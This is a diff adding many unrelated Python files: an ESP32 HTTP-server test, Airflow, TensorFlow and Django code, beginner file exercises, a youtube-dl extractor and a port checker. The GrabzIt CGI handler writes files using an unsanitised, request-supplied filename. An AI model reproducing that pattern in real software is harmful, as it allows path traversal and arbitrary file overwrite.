+from idf_http_server_test import client
+from tiny_test_fw import Utility
+
+
+class http_client_thread(threading.Thread):
+    def __init__(self, ip, port, delay):
+        threading.Thread.__init__(self)
+        self.ip = ip
+        self.port = port
+        self.delay = delay
+        self.exc = None
+
+    # Thread function used to open a socket and wait for specific amount of time before returning
+    def open_connection(self, ip, port, delay):
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.settimeout(delay)
+        s.connect((ip, port))
+        time.sleep(delay)
+
+    def run(self):
+        try:
+            self.open_connection(self.ip, self.port, self.delay)
+        except socket.timeout as e:
+            self.exc = e
+
+    def join(self, timeout=None):
+        threading.Thread.join(self)
+        if self.exc:
+            raise self.exc
+
+
+# When running on local machine execute the following before running this script
+# > make app bootloader
+# > make print_flash_cmd | tail -n 1 > build/download.config
+
+
+@ttfw_idf.idf_example_test(env_tag='Example_WIFI_Protocols')
+def test_examples_protocol_http_server_simple(env, extra_data):
+    # Acquire DUT
+    dut1 = env.get_dut('http_server', 'examples/protocols/http_server/simple', dut_class=ttfw_idf.ESP32DUT)
+
+    # Get binary file
+    binary_file = os.path.join(dut1.app.binary_path, 'simple.bin')
+    bin_size = os.path.getsize(binary_file)
+    ttfw_idf.log_performance('http_server_bin_size', '{}KB'.format(bin_size // 1024))
+
+    # Upload binary and start testing
+    Utility.console_log('Starting http_server simple test app')
+    dut1.start_app()
+
+    # Parse IP address of STA
+    Utility.console_log('Waiting to connect with AP')
+    got_ip = dut1.expect(re.compile(r'(?:[\s\S]*)IPv4 address: (\d+.\d+.\d+.\d+)'), timeout=30)[0]
+    got_port = dut1.expect(re.compile(r"(?:[\s\S]*)Starting server on port: '(\d+)'"), timeout=30)[0]
+
+    Utility.console_log('Got IP   : ' + got_ip)
+    Utility.console_log('Got Port : ' + got_port)
+
+    # Expected Logs
+    dut1.expect('Registering URI handlers', timeout=30)
+
+    # Run test script
+    # If failed raise appropriate exception
+    Utility.console_log('Test /hello GET handler')
+    if not client.test_get_handler(got_ip, got_port):
+        raise RuntimeError
+
+    # Acquire host IP. Need a way to check it
+    dut1.expect(re.compile(r'(?:[\s\S]*)Found header => Host: (\d+.\d+.\d+.\d+)'), timeout=30)[0]
+
+    # Match additional headers sent in the request
+    dut1.expect('Found header => Test-Header-2: Test-Value-2', timeout=30)
+    dut1.expect('Found header => Test-Header-1: Test-Value-1', timeout=30)
+    dut1.expect('Found URL query parameter => query1=value1', timeout=30)
+    dut1.expect('Found URL query parameter => query3=value3', timeout=30)
+    dut1.expect('Found URL query parameter => query2=value2', timeout=30)
+    dut1.expect('Request headers lost', timeout=30)
+
+    Utility.console_log('Test /ctrl PUT handler and realtime handler de/registration')
+    if not client.test_put_handler(got_ip, got_port):
+        raise RuntimeError
+    dut1.expect('Unregistering /hello and /echo URIs', timeout=30)
+    dut1.expect('Registering /hello and /echo URIs', timeout=30)
+
+    # Generate random data of 10KB
+    random_data = ''.join(string.printable[random.randint(0,len(string.printable)) - 1] for _ in range(10 * 1024))
+    Utility.console_log('Test /echo POST handler with random data')
+    if not client.test_post_handler(got_ip, got_port, random_data):
+        raise RuntimeError
+
+    query = 'http://foobar'
+    Utility.console_log('Test /hello with custom query : ' + query)
+    if not client.test_custom_uri_query(got_ip, got_port, query):
+        raise RuntimeError
+    dut1.expect('Found URL query => ' + query, timeout=30)
+
+    query = 'abcd+1234%20xyz'
+    Utility.console_log('Test /hello with custom query : ' + query)
+    if not client.test_custom_uri_query(got_ip, got_port, query):
+        raise RuntimeError
+    dut1.expect('Found URL query => ' + query, timeout=30)
+
+
+@ttfw_idf.idf_example_test(env_tag='Example_WIFI_Protocols')
+def test_examples_protocol_http_server_lru_purge_enable(env, extra_data):
+    # Acquire DUT
+    dut1 = env.get_dut('http_server', 'examples/protocols/http_server/simple', dut_class=ttfw_idf.ESP32DUT)
+
+    # Get binary file
+    binary_file = os.path.join(dut1.app.binary_path, 'simple.bin')
+    bin_size = os.path.getsize(binary_file)
+    ttfw_idf.log_performance('http_server_bin_size', '{}KB'.format(bin_size // 1024))
+
+    # Upload binary and start testing
+    Utility.console_log('Starting http_server simple test app')
+    dut1.start_app()
+
+    # Parse IP address of STA
+    Utility.console_log('Waiting to connect with AP')
+    got_ip = dut1.expect(re.compile(r'(?:[\s\S]*)IPv4 address: (\d+.\d+.\d+.\d+)'), timeout=30)[0]
+    got_port = dut1.expect(re.compile(r"(?:[\s\S]*)Starting server on port: '(\d+)'"), timeout=30)[0]
+
+    Utility.console_log('Got IP   : ' + got_ip)
+    Utility.console_log('Got Port : ' + got_port)
+
+    # Expected Logs
+    dut1.expect('Registering URI handlers', timeout=30)
+    threads = []
+    # Open 20 sockets, one from each thread
+    for _ in range(20):
+        try:
+            thread = http_client_thread(got_ip, (int(got_port)), 20)
+            thread.start()
+            threads.append(thread)
+        except OSError as err:
+            Utility.console_log('Error: unable to start thread, ' + err)
+
+    for t in threads:
+        t.join()
+
+
+if __name__ == '__main__':
+    test_examples_protocol_http_server_simple()
+    test_examples_protocol_http_server_lru_purge_enable()
diff --git a/pool/shard000/Python/0008983_seq_concurrence_1.py b/pool/shard000/Python/0008983_seq_concurrence_1.py
new file mode 100644
index 0000000000000000000000000000000000000000..e44b69066c7d2ff3e8b421fd2e616b92670de596
--- /dev/null
+++ b/pool/shard000/Python/0008983_seq_concurrence_1.py
@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+import smach
+
+
+# define state Foo
+class Foo(smach.State):
+    def __init__(self, name, outcome):
+        smach.State.__init__(self, outcomes=['outcome_a','outcome_b'])
+
+        self._name = name
+        self._outcome = outcome
+
+    def execute(self, userdata):
+        smach.loginfo('Executing state {}'.format(self._name))
+        smach.loginfo('Returning {}'.format(self._outcome))
+
+        return self._outcome
+
+def main():
+
+    sm = smach.StateMachine(outcomes=['final_outcome_a', 'final_outcome_b', 'final_outcome_c'])
+
+    with sm:
+
+        sm_con = smach.Concurrence(outcomes=['con_outcome_1', 'con_outcome_2', 'con_default_outcome'],
+                                           default_outcome='con_default_outcome',
+                                           outcome_map={'con_outcome_1': { 'FOO_0': 'outcome_b', 'FOO_1': 'outcome_b'},
+                                                        'con_outcome_2': { 'FOO_0': 'outcome_a', 'FOO_1': 'outcome_a'}})
+
+        with sm_con:
+
+            smach.Concurrence.add('FOO_0', Foo('FOO_0', 'outcome_a'))
+
+            smach.Concurrence.add('FOO_1', Foo('FOO_1', 'outcome_a'))
+
+        smach.StateMachine.add('CON', sm_con,
+                               transitions={'con_default_outcome':'CON',
+                                            'con_outcome_1':'final_outcome_b',
+                                            'con_outcome_2':'FOO_2'})
+
+        smach.StateMachine.add('FOO_2', Foo('FOO_2', 'outcome_a'), 
+                               transitions={'outcome_a':'final_outcome_a',
+                                            'outcome_b':'final_outcome_c'})
+
+    outcome = sm.execute()
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/pool/shard000/Python/0008985_external_task_sensor.py b/pool/shard000/Python/0008985_external_task_sensor.py
new file mode 100644
index 0000000000000000000000000000000000000000..c80986fa9f286b5bdcba7b518a6e2150197b808c
--- /dev/null
+++ b/pool/shard000/Python/0008985_external_task_sensor.py
@@ -0,0 +1,101 @@
+# -*- coding: utf-8 -*-
+#
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements.  See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership.  The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License.  You may obtain a copy of the License at
+#
+#   http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied.  See the License for the
+# specific language governing permissions and limitations
+# under the License.
+
+from airflow.models import TaskInstance
+from airflow.sensors.base_sensor_operator import BaseSensorOperator
+from airflow.utils.db import provide_session
+from airflow.utils.decorators import apply_defaults
+from airflow.utils.state import State
+
+
+class ExternalTaskSensor(BaseSensorOperator):
+    """
+    Waits for a task to complete in a different DAG
+
+    :param external_dag_id: The dag_id that contains the task you want to
+        wait for
+    :type external_dag_id: str
+    :param external_task_id: The task_id that contains the task you want to
+        wait for
+    :type external_task_id: str
+    :param allowed_states: list of allowed states, default is ``['success']``
+    :type allowed_states: list
+    :param execution_delta: time difference with the previous execution to
+        look at, the default is the same execution_date as the current task.
+        For yesterday, use [positive!] datetime.timedelta(days=1). Either
+        execution_delta or execution_date_fn can be passed to
+        ExternalTaskSensor, but not both.
+    :type execution_delta: datetime.timedelta
+    :param execution_date_fn: function that receives the current execution date
+        and returns the desired execution dates to query. Either execution_delta
+        or execution_date_fn can be passed to ExternalTaskSensor, but not both.
+    :type execution_date_fn: callable
+    """
+    template_fields = ['external_dag_id', 'external_task_id']
+    ui_color = '#19647e'
+
+    @apply_defaults
+    def __init__(self,
+                 external_dag_id,
+                 external_task_id,
+                 allowed_states=None,
+                 execution_delta=None,
+                 execution_date_fn=None,
+                 *args,
+                 **kwargs):
+        super(ExternalTaskSensor, self).__init__(*args, **kwargs)
+        self.allowed_states = allowed_states or [State.SUCCESS]
+        if execution_delta is not None and execution_date_fn is not None:
+            raise ValueError(
+                'Only one of `execution_date` or `execution_date_fn` may'
+                'be provided to ExternalTaskSensor; not both.')
+
+        self.execution_delta = execution_delta
+        self.execution_date_fn = execution_date_fn
+        self.external_dag_id = external_dag_id
+        self.external_task_id = external_task_id
+
+    @provide_session
+    def poke(self, context, session=None):
+        if self.execution_delta:
+            dttm = context['execution_date'] - self.execution_delta
+        elif self.execution_date_fn:
+            dttm = self.execution_date_fn(context['execution_date'])
+        else:
+            dttm = context['execution_date']
+
+        dttm_filter = dttm if isinstance(dttm, list) else [dttm]
+        serialized_dttm_filter = ','.join(
+            [datetime.isoformat() for datetime in dttm_filter])
+
+        self.log.info(
+            'Poking for '
+            '{self.external_dag_id}.'
+            '{self.external_task_id} on '
+            '{} ... '.format(serialized_dttm_filter, **locals()))
+        TI = TaskInstance
+
+        count = session.query(TI).filter(
+            TI.dag_id == self.external_dag_id,
+            TI.task_id == self.external_task_id,
+            TI.state.in_(self.allowed_states),
+            TI.execution_date.in_(dttm_filter),
+        ).count()
+        session.commit()
+        return count == len(dttm_filter)
diff --git a/pool/shard000/Python/0008986_file_lab.py b/pool/shard000/Python/0008986_file_lab.py
new file mode 100644
index 0000000000000000000000000000000000000000..8e87e2538f51b5edbc170e17d455f1d359901799
--- /dev/null
+++ b/pool/shard000/Python/0008986_file_lab.py
@@ -0,0 +1,52 @@
+import os
+from collections import Counter as counter
+from pprint import pprint
+
+
+# write a program which prints the full path to all files in the current directory, one per line
+
+for thing in os.listdir('.'):
+    print(os.path.abspath(thing))
+
+# write a program which copies a file from a source, to a destination (without using shutil, or the OS copy command)
+#      advanced: make it work for any size file: i.e. don’t read the entire contents of the file into memory at once.
+#      Note that if you want it to do any kind of file, you need to open the files in binary mode: open(filename, 'rb')
+#      (or 'wb' for writing.)
+
+source = 'gg.jpg'
+dest = 'gg2.jpg'
+
+with open(source, 'rb') as s, open(dest, 'wb') as d:
+    print('Copying the contents now.')
+    data_copy = s.readlines()
+    print('Writing the contents to new file now.')
+    d.writelines(data_copy)
+    s.close()
+    d.close()
+    print('Closed files')
+
+
+# Write a little script that reads that file, and generates a list of all the languages that have been used. students.txt
+# Extra credit: keep track of how many students specified each language.
+
+student_file = open('students.txt', 'r')
+lang_set = set()
+lang_list = []
+with student_file:
+    for student in student_file:
+        languages = student.split(':')[1].lower()
+        lang = languages.replace(',', ' ').split()
+        for langs in lang:
+            if langs == 'languages':
+                pass
+            elif langs:
+                lang_set.add(langs)
+                lang_list.append(langs)
+    student_file.close()
+    pprint('All the languages people in our class know:')
+    pprint(' '.join(lang_set))
+    pprint('How many people know each language:')
+    pprint(counter(lang_list))
+
+
+
diff --git a/pool/shard000/Python/0008992_findpoints.py b/pool/shard000/Python/0008992_findpoints.py
new file mode 100644
index 0000000000000000000000000000000000000000..89e3bdcddb2846365fd29b71ccf048d90487891b
--- /dev/null
+++ b/pool/shard000/Python/0008992_findpoints.py
@@ -0,0 +1,50 @@
+import warnings
+import numpy as np
+
+from petram.mfem_config import use_parallel
+if use_parallel:
+    from petram.helper.mpi_recipes import *
+    import mfem.par as mfem   
+else:
+    import mfem.ser as mfem
+
+def make_matrix(x, y, z):
+    pass
+
+def do_findpoints(mesh, *args):
+    sdim = mesh.SpaceDimension()
+    
+    shape = args[0].shape
+    size= len(args[0].flatten())
+    ptx = np.vstack([t.flatten() for t in args]).transpose().flatten()
+    
+    ptx2 = mfem.Vector(ptx)
+    point_mat = mfem.DenseMatrix(ptx2.GetData(), size, sdim)
+    elem_id = mfem.intArray()
+    ips = mfem.IntegrationPointArray()
+        
+    num_found = mesh.FindPoints(point_mat, elem_id, ips, True)
+    elem_id = np.array(elem_id.ToList())
+    return v, elem_id, ips
+
+def eval_at_points(gf, *args):
+    args = [np.atleast_1d(np.array(t, copy=False)) for t in args]    
+    mesh = gf.FESpace().Mesh()
+    v, elem_id, ips = findpoints(mesh, *args)
+    
+def findpoints(mesh, *args):
+    '''
+    *args : x, y or x, y, z
+    '''
+    sdim = mesh.SpaceDimension()
+    
+    if len(args) != 3 and sdim == 3:
+        assert False, "SpaceDimension = 3, pass x, y, z"
+    elif len(args) != 2 and sdim == 2:
+        assert False, "SpaceDimension = 3, pass x, y"
+    elif len(args) != 1 and sdim == 1:
+        assert False, "SpaceDimension = 3, pass x"
+    else:
+        args = [np.atleast_1d(np.array(t, copy=False)) for t in args]                
+        return do_findpoints(mesh, *args)
+
diff --git a/pool/shard000/Python/0008996_threading_options.py b/pool/shard000/Python/0008996_threading_options.py
new file mode 100644
index 0000000000000000000000000000000000000000..35f66ce22c044150b7010b2d7ab9f1b9b4839f3a
--- /dev/null
+++ b/pool/shard000/Python/0008996_threading_options.py
@@ -0,0 +1,69 @@
+# Copyright 2018 The TensorFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+# ==============================================================================
+"""Experimental API for controlling threading in `tf.data` pipelines."""
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+
+from tensorflow.core.framework import dataset_options_pb2
+from tensorflow.python.data.util import options
+from tensorflow.python.util import deprecation
+from tensorflow.python.util.tf_export import tf_export
+
+
+@deprecation.deprecated_endpoints("data.experimental.ThreadingOptions")
+@tf_export("data.experimental.ThreadingOptions", "data.ThreadingOptions")
+class ThreadingOptions(options.OptionsBase):
+  """Represents options for dataset threading.
+
+  You can set the threading options of a dataset through the
+  `experimental_threading` property of `tf.data.Options`; the property is
+  an instance of `tf.data.ThreadingOptions`.
+
+  ```python
+  options = tf.data.Options()
+  options.threading.private_threadpool_size = 10
+  dataset = dataset.with_options(options)
+  ```
+  """
+
+  max_intra_op_parallelism = options.create_option(
+      name="max_intra_op_parallelism",
+      ty=int,
+      docstring=
+      "If set, it overrides the maximum degree of intra-op parallelism.")
+
+  private_threadpool_size = options.create_option(
+      name="private_threadpool_size",
+      ty=int,
+      docstring=
+      "If set, the dataset will use a private threadpool of the given size. "
+      "The value 0 can be used to indicate that the threadpool size should be "
+      "determined at runtime based on the number of available CPU cores.")
+
+  def _to_proto(self):
+    pb = dataset_options_pb2.ThreadingOptions()
+    if self.max_intra_op_parallelism is not None:
+      pb.max_intra_op_parallelism = self.max_intra_op_parallelism
+    if self.private_threadpool_size is not None:
+      pb.private_threadpool_size = self.private_threadpool_size
+    return pb
+
+  def _from_proto(self, pb):
+    if pb.WhichOneof("optional_max_intra_op_parallelism") is not None:
+      self.max_intra_op_parallelism = pb.max_intra_op_parallelism
+    if pb.WhichOneof("optional_private_threadpool_size") is not None:
+      self.private_threadpool_size = pb.private_threadpool_size
diff --git a/pool/shard000/Python/0008998_make_cv.py b/pool/shard000/Python/0008998_make_cv.py
new file mode 100644
index 0000000000000000000000000000000000000000..427b04f77cdb365d7e66dd892920fb8e1986e725
--- /dev/null
+++ b/pool/shard000/Python/0008998_make_cv.py
@@ -0,0 +1,29 @@
+"""
+Builds the CV page by embedding HTML created by pandoc into the master page.
+The generated HTML is expected as input through stdin
+"""
+
+from global_vars import *
+import sys
+
+# read template files
+with open(CVTemplatePath, 'r') as fin:
+    cv_template = fin.read()
+with open(MasterTemplatePath, 'r') as fin:
+    m_template = fin.read()
+
+# read from stdin
+cv_body = sys.stdin.read()
+
+# build page
+m = templateSubN({
+    'body': templateSubN({'cv_content': cv_body}, cv_template),
+    'portfolio_active': '',
+    'cv_active': 'active',
+    'path_prefix': '',
+    'title': 'CV'
+}, m_template)
+
+# write to file
+with open(CVOutputPath, 'w') as fout:
+    fout.write(m)
diff --git a/pool/shard000/Python/0009000_test_json.py b/pool/shard000/Python/0009000_test_json.py
new file mode 100644
index 0000000000000000000000000000000000000000..08014607dbbf8c8738a9d7bdda8fbdeaef237dee
--- /dev/null
+++ b/pool/shard000/Python/0009000_test_json.py
@@ -0,0 +1,31 @@
+# Copyright 2011 Canonical Ltd.  This software is licensed under the
+# GNU Affero General Public License version 3 (see the file LICENSE).
+
+"""Tests for the JSON serializer."""
+
+__metaclass__ = type
+
+from datetime import timedelta
+
+from lazr.restful.interfaces import IJSONPublishable
+
+from lp.services.webservice.json import StrJSONSerializer
+from lp.testing import TestCase
+from lp.testing.layers import FunctionalLayer
+
+
+class TestStrJSONSerializer(TestCase):
+    layer = FunctionalLayer
+
+    def test_toDataForJSON(self):
+        serializer = StrJSONSerializer(
+            timedelta(days=2, hours=2, seconds=5))
+        self.assertEquals(
+            '2 days, 2:00:05',
+            serializer.toDataForJSON('application/json'))
+
+    def test_timedelta_users_StrJSONSerializer(self):
+        delta = timedelta(seconds=5)
+        serializer = IJSONPublishable(delta)
+        self.assertEquals('0:00:05',
+            serializer.toDataForJSON('application/json'))
diff --git a/pool/shard000/Python/0009001_0005_auto_20150219_2207.py b/pool/shard000/Python/0009001_0005_auto_20150219_2207.py
new file mode 100644
index 0000000000000000000000000000000000000000..e6858171605ec44488959b34640613c7bb16697e
--- /dev/null
+++ b/pool/shard000/Python/0009001_0005_auto_20150219_2207.py
@@ -0,0 +1,31 @@
+# -*- coding: utf-8 -*-
+from __future__ import unicode_literals
+
+from django.db import models, migrations
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('comm', '0004_branch_diocese'),
+    ]
+
+    operations = [
+        migrations.CreateModel(
+            name='Report',
+            fields=[
+                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
+                ('branch', models.ForeignKey(to='comm.Branch')),
+                ('communion_day', models.ForeignKey(to='comm.CommunionDay')),
+            ],
+            options={
+                'verbose_name': 'Sprawozdanie filialne',
+                'verbose_name_plural': 'Sprawozdania filialne',
+            },
+            bases=(models.Model,),
+        ),
+        migrations.AlterModelOptions(
+            name='diocese',
+            options={'verbose_name': 'Diecezja', 'verbose_name_plural': 'Diecezje'},
+        ),
+    ]
diff --git a/pool/shard000/Python/0009002_models.py b/pool/shard000/Python/0009002_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..7806173d443fb25d22ffd587ef0edd2fbda5491b
--- /dev/null
+++ b/pool/shard000/Python/0009002_models.py
@@ -0,0 +1,90 @@
+#
+# Newfies-Dialer License
+# http://www.newfies-dialer.org
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this file,
+# You can obtain one at http://mozilla.org/MPL/2.0/.
+#
+# Copyright (C) 2011-2013 Star2Billing S.L.
+#
+# The Initial Developer of the Original Code is
+# Arezqui Belaid <info@star2billing.com>
+#
+
+from django.db import models
+from django.utils.translation import ugettext_lazy as _
+
+
+class DNC(models.Model):
+    """This defines the Do Not Call List
+
+    **Attributes**:
+
+        * ``name`` - List name.
+
+    **Relationships**:
+
+        * ``user`` - Foreign key relationship to the User model.
+
+    **Name of DB table**: dnc_list
+    """
+    name = models.CharField(max_length=50, blank=False,
+                            null=True, verbose_name=_("name"),
+                            help_text=_("DNC name"))
+    user = models.ForeignKey('auth.User', related_name='DNC owner')
+
+    created_date = models.DateTimeField(auto_now_add=True)
+    updated_date = models.DateTimeField(auto_now=True)
+
+    def __unicode__(self):
+        return '[%s] %s' % (self.id, self.name)
+
+    class Meta:
+        permissions = (
+            ("view_dnc_list", _('can see Do Not Call list')),
+        )
+        db_table = "dnc_list"
+        verbose_name = _("Do Not Call list")
+        verbose_name_plural = _("Do Not Call lists")
+
+    def dnc_contacts_count(self):
+        """This will return a count of the contacts in the dnc"""
+        return DNCContact.objects.filter(dnc=self.id).count()
+    dnc_contacts_count.allow_tags = True
+    dnc_contacts_count.short_description = _('dnc contacts')
+
+
+class DNCContact(models.Model):
+    """This defines the Do Not Call Contact for each DNC List
+
+    **Attributes**:
+
+        * ``phone_number`` - Phone number
+        * ``dnc`` - DNC List
+
+    **Relationships**:
+
+        * ``dnc`` - Foreign key relationship to the DNC model.
+
+    **Name of DB table**: dnc_contact
+    """
+    dnc = models.ForeignKey(DNC, null=True, blank=True,
+                    verbose_name=_("Do Not Call List"))
+    phone_number = models.CharField(max_length=120, db_index=True, null=True, blank=True,
+        verbose_name=_("phone number"))
+
+    created_date = models.DateTimeField(auto_now_add=True)
+    updated_date = models.DateTimeField(auto_now=True,)
+
+    def __unicode__(self):
+        return '[%s] %s' % (self.id, self.phone_number)
+
+    class Meta:
+        permissions = (
+            ("view_dnccontact", _('can see Do Not Call contact')),
+        )
+        db_table = "dnc_contact"
+        verbose_name = _("Do Not Call contact")
+        verbose_name_plural = _("Do Not Call contacts")
+        unique_together = ['dnc', 'phone_number']
diff --git a/pool/shard000/Python/0009005_models.py b/pool/shard000/Python/0009005_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..accf8ab6b1c7155526655481d37711e4e71eee14
--- /dev/null
+++ b/pool/shard000/Python/0009005_models.py
@@ -0,0 +1,118 @@
+from django.db import models
+
+from wagtail.core.models import Site
+from wagtail.core.utils import InvokeViaAttributeShortcut
+
+from .registry import register_setting
+
+__all__ = ['BaseSetting', 'register_setting']
+
+
+class BaseSetting(models.Model):
+    """
+    The abstract base model for settings. Subclasses must be registered using
+    :func:`~wagtail.contrib.settings.registry.register_setting`
+    """
+
+    # Override to fetch ForeignKey values in the same query when
+    # retrieving settings via for_site()
+    select_related = None
+
+    site = models.OneToOneField(
+        Site, unique=True, db_index=True, editable=False, on_delete=models.CASCADE)
+
+    class Meta:
+        abstract = True
+
+    @classmethod
+    def base_queryset(cls):
+        """
+        Returns a queryset of objects of this type to use as a base
+        for calling get_or_create() on.
+
+        You can use the `select_related` attribute on your class to
+        specify a list of foreign key field names, which the method
+        will attempt to select additional related-object data for
+        when the query is executed.
+
+        If your needs are more complex than this, you can override
+        this method on your custom class.
+        """
+        queryset = cls.objects.all()
+        if cls.select_related is not None:
+            queryset = queryset.select_related(*cls.select_related)
+        return queryset
+
+    @classmethod
+    def for_site(cls, site):
+        """
+        Get or create an instance of this setting for the site.
+        """
+        queryset = cls.base_queryset()
+        instance, created = queryset.get_or_create(site=site)
+        return instance
+
+    @classmethod
+    def for_request(cls, request):
+        """
+        Get or create an instance of this model for the request,
+        and cache the result on the request for faster repeat access.
+        """
+        attr_name = cls.get_cache_attr_name()
+        if hasattr(request, attr_name):
+            return getattr(request, attr_name)
+        site = Site.find_for_request(request)
+        site_settings = cls.for_site(site)
+        # to allow more efficient page url generation
+        site_settings._request = request
+        setattr(request, attr_name, site_settings)
+        return site_settings
+
+    @classmethod
+    def get_cache_attr_name(cls):
+        """
+        Returns the name of the attribute that should be used to store
+        a reference to the fetched/created object on a request.
+        """
+        return "_{}.{}".format(
+            cls._meta.app_label, cls._meta.model_name
+        ).lower()
+
+    def __init__(self, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        # Allows get_page_url() to be invoked using
+        # `obj.page_url.foreign_key_name` syntax
+        self.page_url = InvokeViaAttributeShortcut(self, 'get_page_url')
+        # Per-instance page URL cache
+        self._page_url_cache = {}
+
+    def get_page_url(self, attribute_name, request=None):
+        """
+        Returns the URL of a page referenced by a foreign key
+        (or other attribute) matching the name ``attribute_name``.
+        If the field value is null, or links to something other
+        than a ``Page`` object, an empty string is returned.
+        The result is also cached per-object to facilitate
+        fast repeat access.
+
+        Raises an ``AttributeError`` if the object has no such
+        field or attribute.
+        """
+        if attribute_name in self._page_url_cache:
+            return self._page_url_cache[attribute_name]
+
+        if not hasattr(self, attribute_name):
+            raise AttributeError(
+                "'{}' object has no attribute '{}'"
+                .format(self.__class__.__name__, attribute_name)
+            )
+
+        page = getattr(self, attribute_name)
+
+        if hasattr(page, 'specific'):
+            url = page.specific.get_url(getattr(self, '_request', None))
+        else:
+            url = ""
+
+        self._page_url_cache[attribute_name] = url
+        return url
diff --git a/pool/shard000/Python/0009007_youjizz.py b/pool/shard000/Python/0009007_youjizz.py
new file mode 100644
index 0000000000000000000000000000000000000000..b86331e3cfa39ec8d3f287e829900b414892beee
--- /dev/null
+++ b/pool/shard000/Python/0009007_youjizz.py
@@ -0,0 +1,71 @@
+from __future__ import unicode_literals
+
+import re
+
+from .common import InfoExtractor
+from ..utils import (
+    ExtractorError,
+)
+
+
+class YouJizzIE(InfoExtractor):
+    _VALID_URL = r'^https?://(?:\w+\.)?youjizz\.com/videos/(?P<videoid>[^.]+)\.html$'
+    _TEST = {
+        'url': 'http://www.youjizz.com/videos/zeichentrick-1-2189178.html',
+        'file': '2189178.flv',
+        'md5': '07e15fa469ba384c7693fd246905547c',
+        'info_dict': {
+            "title": "Zeichentrick 1",
+            "age_limit": 18,
+        }
+    }
+
+    def _real_extract(self, url):
+        mobj = re.match(self._VALID_URL, url)
+
+        video_id = mobj.group('videoid')
+
+        # Get webpage content
+        webpage = self._download_webpage(url, video_id)
+
+        age_limit = self._rta_search(webpage)
+
+        # Get the video title
+        video_title = self._html_search_regex(r'<title>(?P<title>.*)</title>',
+            webpage, 'title').strip()
+
+        # Get the embed page
+        result = re.search(r'https?://www.youjizz.com/videos/embed/(?P<videoid>[0-9]+)', webpage)
+        if result is None:
+            raise ExtractorError('ERROR: unable to extract embed page')
+
+        embed_page_url = result.group(0).strip()
+        video_id = result.group('videoid')
+
+        webpage = self._download_webpage(embed_page_url, video_id)
+
+        # Get the video URL
+        m_playlist = re.search(r'so.addVariable\("playlist", ?"(?P<playlist>.+?)"\);', webpage)
+        if m_playlist is not None:
+            playlist_url = m_playlist.group('playlist')
+            playlist_page = self._download_webpage(playlist_url, video_id,
+                                                   'Downloading playlist page')
+            m_levels = list(re.finditer(r'<level bitrate="(\d+?)" file="(.*?)"', playlist_page))
+            if len(m_levels) == 0:
+                raise ExtractorError('Unable to extract video url')
+            videos = [(int(m.group(1)), m.group(2)) for m in m_levels]
+            (_, video_url) = sorted(videos)[0]
+            video_url = video_url.replace('%252F', '%2F')
+        else:
+            video_url = self._search_regex(r'so.addVariable\("file",encodeURIComponent\("(?P<source>[^"]+)"\)\);',
+                                           webpage, 'video URL')
+
+        return {
+            'id': video_id,
+            'url': video_url,
+            'title': video_title,
+            'ext': 'flv',
+            'format': 'flv',
+            'player_url': embed_page_url,
+            'age_limit': age_limit,
+        }
diff --git a/pool/shard000/Python/0009008_handler.py b/pool/shard000/Python/0009008_handler.py
new file mode 100644
index 0000000000000000000000000000000000000000..dde994b153ac463660f699b38cf03f7a9d2e8c34
--- /dev/null
+++ b/pool/shard000/Python/0009008_handler.py
@@ -0,0 +1,43 @@
+#!/usr/bin/python
+
+import os
+import cgi
+import cgitb
+try:
+    from configparser import SafeConfigParser
+except ImportError:
+    from ConfigParser import SafeConfigParser
+	
+cgitb.enable()
+
+from GrabzIt import GrabzItClient
+try:
+	from configparser import SafeConfigParser
+except ImportError:
+	from ConfigParser import SafeConfigParser
+
+form = cgi.FieldStorage()
+
+message = form.getvalue("message")
+customId = form.getvalue("customid")
+id = form.getvalue("id")
+filename = form.getvalue("filename")
+format = form.getvalue("format")
+targeterror = form.getvalue("targeterror")
+
+parser = SafeConfigParser()
+parser.read('config.ini')
+
+#Custom id can be used to store user ids or whatever is needed for the later processing of the
+#resulting screenshot
+
+grabzIt = GrabzItClient.GrabzItClient(parser.get('GrabzIt', 'applicationKey'), parser.get('GrabzIt', 'applicationSecret'))
+result = grabzIt.GetResult(id)
+
+if result != None:
+	#Ensure that the application has the correct rights for this directory.
+	fo = open(os.path.dirname(os.path.abspath(__file__)) + os.path.sep + "results" + os.sep + filename, "wb")
+	fo.write(result)
+	fo.close()
+    
+print ("Content-type: text/html\n\n")
diff --git a/pool/shard000/Python/0009010_t_port_mod.py b/pool/shard000/Python/0009010_t_port_mod.py
new file mode 100644
index 0000000000000000000000000000000000000000..739888de799c6d7465a97f82690b5c67010b8790
--- /dev/null
+++ b/pool/shard000/Python/0009010_t_port_mod.py
@@ -0,0 +1,31 @@
+#coding:utf-8
+import commands
+
+###################################
+#
+#	测试开放的端口
+#
+####################################
+
+class TportMod:
+	global results
+	results=[]
+	def setBaseline_main(self,baseline_main):
+		self.baseline_main=baseline_main
+
+	def start(self):
+		print "[*] Checking T_port_Mod!!"
+		try:
+			results=commands.getoutput("netstat -atnp|awk '{print $4}'|grep '0.0.0.0:' |awk -F: '{print $2}'").split("\n")
+		except:
+			pass
+
+	def save(self):
+		if len(results)>0:
